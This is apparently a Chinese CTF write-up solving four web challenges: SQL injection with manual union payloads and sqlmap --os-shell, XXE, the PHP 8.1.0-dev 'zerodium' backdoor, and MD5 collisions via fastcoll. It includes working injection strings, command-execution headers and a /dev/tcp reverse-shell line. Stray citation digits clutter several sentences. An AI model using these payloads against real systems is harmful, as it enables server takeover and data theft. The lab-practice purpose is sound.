电商设计工资一般多少_吉安网站制作公司_seo技术优化技巧_自己做网站需要什么条件

第一题，文章管理系统

来自 <天狩CTF竞赛平台>

描述：这是我们的文章管理系统，快来看看有什么漏洞可以拿到FLAG吧？注意：可能有个假FLAG哦

 

1，首先观察题目网站的结构和特征

这个一个文件管理系统，页面的切换依赖于?id=1这种参数变换。

并且其对于错误的参数有敏感的识别报错，这极大说明了可能具有SQL注入漏洞

 

2，尝试进行手工SQL注入，首先判断注入类型是整数型还是字符型。输入?id=1' --+ 和?id=1" --+都发生报错，而?id=1 --+ 不报错，说明是整数型注入

 

3，判断该数据表的字段数，使用order by大法。

?id=1 order by 1,2,3 --+ 判断字段数是否至少有三列。否

?id=1 order by 1,2 --+ 判断字段数是否至少有两列。真

那么就可以知道2<=字段数(int)<3，那么字段就只有两列

 

4，接下来通过union判断回显点，?id=-1 union select 1,2 --+

正好回显了1,2说明回显点就在我们查询的第一二列上

 

5，开始进行爆库操作，首先知道数据库名与版本

?id=-1 union select version(),database()--+

 

6，知道了数据库名：word，再使用group_concat()函数爆出word数据库所有数据表名：

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

7，知道了数据表名：word，再使用group_concat()函数articles数据表所有字段名：

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="articles" and table_schema=database()--+

 

8，知道了列名然后再输出打印其中的数据

?id=-1 union select group_concat(title),group_concat(word) from articles--+

由此成功得到flag:qsnctf{sql+so+easy!!!!} (虽然是假的)

 

9，逃课打法，payload:?id=1 or 1=1 --+

一样能够出现flag，其根本原因应该和注入点位置有关

 

原因分析：

 构造永真条件

• OR 1=1：1=1恒为真，导致WHERE条件变为id=1 OR true。无论id=1是否存在，整个条件总为真，查询返回所有数据。

SELECT * FROM files WHERE id = 1 OR 1=1 -- （原查询后续内容被注释）

此查询返回files表的所有记录，导致数据泄露。

 

10，根据题目提示，正确的做法应该使用sqlmap爆出数据库，然后使用--os-shell模块构造出可交互式的shell

爆出所有数据库 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -dbs --batch

爆出数据表 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -D word --tables --batch

爆出所有字段

最后爆出所有数据 sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" -D word -T articles -C id,title,word --dump --batch

 

11，已经知道了爆库是行不通的，再使用--os-shell获取靶机shell

sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" --os-shell

这里支持的语言选择第四个默认的PHP，然后就获得了shell

再通过find命令查找flag find / -name "flag"

最后成功读取得到flag{0428ba0e77344c8aaff21cecb2fbf21f}

 

第二题：PHP的XXE

题目描述：

XXE（XML External Entity）是一种针对XML解析器的攻击技术，也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时，如果没有正确地配置或过滤外部实体，攻击者可以利用这一漏洞执行恶意操作。

XML允许在文档中定义和使用外部实体，这些实体可以从外部资源（如文件、网络URL等）中获取数据。如果应用程序解析了包含恶意外部实体的XML输入，并且未对外部实体进行适当的处理或限制，攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动

 

1，一打开网站就是phpinfo()的界面

 

2，XXE漏洞利用一般使用burpsuite抓请求包，然后在请求包里面构造攻击语句。访问http://challenge.qsnctf.com:32365/simplexml_load_string.php

右键将请求包发送到repeater重放器，然后右键更改请求包的方式为POST，Content-Type更改为xml，然后将构造的payload写入

 

3，接下来就是命令执行的攻击了，不断通过XXE漏洞对靶机进行信息收集

 

最终得到flag{ea5f420ee48b483a95cf96e269c22271}

 

第三题：PHP的后门

题目描述：PHP竟然也会有后门这种东西？你知道吗！

 

1，首先观察题目

那么就需要获取该网站后端语言PHP的版本

 

2，通过wappalyzer获取到PHP的版本为8.1

 

3，接下来就是查这个版本的PHP有什么公开的漏洞及其exp。分析发现可以公开利用的漏洞是：

 

PHP-8.1.0-dev 后门命令执行漏洞

PHP 8.1.0-dev 后门命令执行漏洞是2021年3月被发现的一个高危漏洞，因开发版本中被植入后门代码而引发。攻击者可利用该漏洞通过构造特定的HTTP请求头执行任意命令，甚至接管服务器。以下是该漏洞的综合分析：

1. 漏洞概述

• 背景
  PHP 8.1.0-dev 版本在2021年3月28日被植入后门代码，后门以User-Agentt（多一个字母t）为触发点，允许攻击者通过该请求头字段注入任意PHP代码并执行379。该后门虽在短时间内被官方移除，但已暴露的服务器仍可能受影响。
• 原理
  后门代码在服务器端解析HTTP请求时，会检查User-Agentt字段是否以字符串zerodium开头。若符合条件，后续内容会被直接作为PHP代码执行，从而实现远程命令注入368。

2. 影响范围

• 受影响的版本
  仅限 PHP 8.1.0-dev 开发版本6710。
• 危害
  攻击者可执行任意系统命令，如读取敏感文件（/etc/passwd）、写入Webshell、反弹Shell等，直接威胁服务器安全589。

3. 漏洞复现

环境搭建

使用Vulhub提供的Docker环境快速复现：

cd vulhub/php/8.1-backdoor
docker-compose up -d

访问 http://目标IP:8080，若显示“Hello World”则表示环境启动成功4610。

攻击示例

通过Burp Suite或Python脚本发送以下HTTP请求包：

• 验证漏洞存在
  User-Agentt: zerodiumvar_dump(2*3);
  若返回计算结果，则漏洞存在37。
• 执行系统命令
  User-Agentt: zerodiumsystem("cat /flag");
  读取文件内容58。
• 反弹Shell
  User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/攻击者IP/端口 0>&1'");
  通过监听端口获取交互式Shell69。

4. 攻击利用扩展

• 写入Webshell

• 生成一句话木马并通过蚁剑等工具连接68。
• 自动化EXP
  使用Python脚本批量检测与利用，例如通过requests库动态注入命令912。

5. 修复建议

1. 升级PHP版本
   立即停止使用PHP 8.1.0-dev开发版，升级至官方稳定版本。
2. 补丁与监控
   检查服务器是否曾部署受影响版本，并监控异常流量（如包含User-Agentt的请求）710。
3. 容器环境管理
   使用Vulhub等漏洞复现环境后，及时关闭容器：

总结

该漏洞因开发版本中隐蔽的后门代码引发，攻击成本低但危害极大。尽管官方已修复，仍需警惕未升级的测试环境或遗留系统。防御关键在于严格管控开发版本的使用，并加强HTTP请求头的过滤机制7912。

 

4，那么接下来就使用burpsuite抓请求包，右键将请求包发送到repeater模块，然后写入攻击语句：

User-Agentt:zerodiumsystem("ls /");

5，最后再构造语句读取flag

User-Agentt:zerodiumsystem("cat /flag");

最后得到了flag{aca66b51096c4713b36a92e0d7147949}

 

第四题：EasyMD5

来自 <天狩CTF竞赛平台>

题目描述：php没有难题

MD5碰撞

MD5碰撞是指两个不同的输入数据经过MD5哈希算法处理后，生成相同的哈希值。这种现象违背了哈希函数“唯一性”的设计原则，意味着攻击者可以故意构造出内容不同但MD5值相同的文件，从而破坏依赖MD5进行数据完整性校验或身份验证的系统。

MD5碰撞的关键点

1. MD5算法简介：
   • MD5（Message-Digest Algorithm 5）是一种广泛使用的哈希函数，生成128位（16字节）的哈希值，通常表示为32位十六进制字符串。
   • 设计初衷是为文件、密码等数据生成唯一“指纹”，用于快速校验数据完整性。
2. 碰撞原理：
   • 由于MD5的输出长度固定（128位），理论上存在有限的哈希组合（2¹²⁸种），而输入数据无限，因此哈希碰撞必然存在（鸽巢原理）。
   • MD5的设计缺陷（如抗碰撞性不足）使得实际构造碰撞成为可能，且成本远低于理论预期。
3. 实际攻击案例：
   • 2004年：王小云团队首次公开高效MD5碰撞方法，可在数小时内找到碰撞。
   • 2008年：研究人员构造出可执行文件的碰撞，例如两个功能不同但MD5相同的程序。
   • 2012年：“火焰”病毒利用MD5碰撞伪造微软数字签名，绕过安全检测。
   • 选择前缀碰撞攻击：攻击者可自由选择部分输入内容生成碰撞（如TLS证书伪造）。

MD5碰撞的安全风险

1. 数据完整性失效：
   • 攻击者可替换文件（如软件安装包、合同文档）而不改变其MD5校验值，导致用户无法察觉篡改。
2. 数字签名伪造：
   • 若签名系统依赖MD5，攻击者可伪造签名证书（如HTTPS中间人攻击）。
3. 密码存储漏洞：
   • 若数据库用MD5存储密码，碰撞可能导致不同密码被误认为相同，但更常见风险是MD5的快速破解（如彩虹表）。

防御措施

1. 弃用MD5：在关键场景（如数字签名、密码存储）改用更安全的算法：
   • SHA-2家族（SHA-256、SHA-512）
   • SHA-3（Keccak）
   • BLAKE2/3
2. 加盐（Salting）：若必须使用MD5，需结合随机盐值（如密码存储），但建议优先升级算法。
3. 多重哈希：对敏感数据叠加多种哈希算法（如SHA-256 + BLAKE3），但需权衡性能。

 

1，观察题目环境，要求就是生成两个md5值相同的PDF文件就行了，使用工具fastcoll

fastcoll 是一款高效的 MD5 碰撞生成工具，由荷兰埃因霍温理工大学的研究团队开发，能够快速生成两个内容不同但 MD5 哈希值相同的文件。其原理基于王小云团队提出的改进版碰撞算法，可在普通计算机上几秒内完成碰撞生成2710。

基础使用方法

1. 生成碰撞文件

• 命令格式：
  fastcoll_v1.0.0.5.exe -p <基础文件路径> -o <输出文件1> <输出文件2>
  • -p：指定基础文件（作为碰撞前缀）。
  • -o：生成的两个碰撞文件路径4710。
• 示例：
  fastcoll_v1.0.0.5.exe -p C:\test.txt -o collision1.txt collision2.txt
  生成的两个文件 collision1.txt 和 collision2.txt 内容不同但 MD5 相同39。

2. 验证碰撞结果

• 使用系统工具（如 certutil）校验哈希值：
  certutil -hashfile collision1.txt MD5
  certutil -hashfile collision2.txt MD5
  结果会显示相同的 MD5 值，但文件内容可通过二进制编辑器（如 HxD）查看差异47。

进阶应用

1. 生成可执行文件的碰撞

• 示例：
  bash
  复制
  fastcoll_v1.0.0.5.exe -p helloworld.exe -o helloworld1.exe helloworld2.exe
  生成的两个 EXE 文件功能不同（如一个打印 "Hello World"，另一个打印 "Goodbye World"），但 MD5 值一致710。

2. 生成字符串的 MD5 碰撞

• 步骤：
  1. 创建基础文本文件（如 a.txt），内容可为空或特定前缀。
  2. 运行 fastcoll 生成两个碰撞文件（如 msg1.txt 和 msg2.txt）。
  3. 通过 PHP/Python 脚本读取文件内容并进行 URL 编码，生成不同字符串但相同 MD5 的结果9。

工具下载与源码

• 下载地址：
  • 可执行工具： http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
  • 源代码： http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip 237。

注意事项

1. 安全风险：
   • MD5 碰撞可能被用于伪造文件、绕过校验或攻击依赖哈希的系统（如数字签名）210。
   • 建议仅在实验环境（如虚拟机）中使用，避免非法用途4。
2. 替代算法：
   • 在正式场景中，应弃用 MD5，改用 SHA-256、SHA-3 或 BLAKE2/3 等抗碰撞性更强的哈希算法710。

典型场景示例

• CTF 题目：解决类似 $a != $b && md5($a) == md5($b) 的挑战，通过 fastcoll 生成碰撞字符串提交9。
• 文件篡改测试：验证系统对 MD5 校验的依赖漏洞，例如上传两个功能不同但哈希相同的文件710

 

解题非常简单，直接命令生成两个MD5值相同的文件

fastcoll_v1.0.0.5.exe -p 1.pdf -o 2.pdf 3.pdf

flag{51b103224afc43dc9d8bc448f0a0b0e8}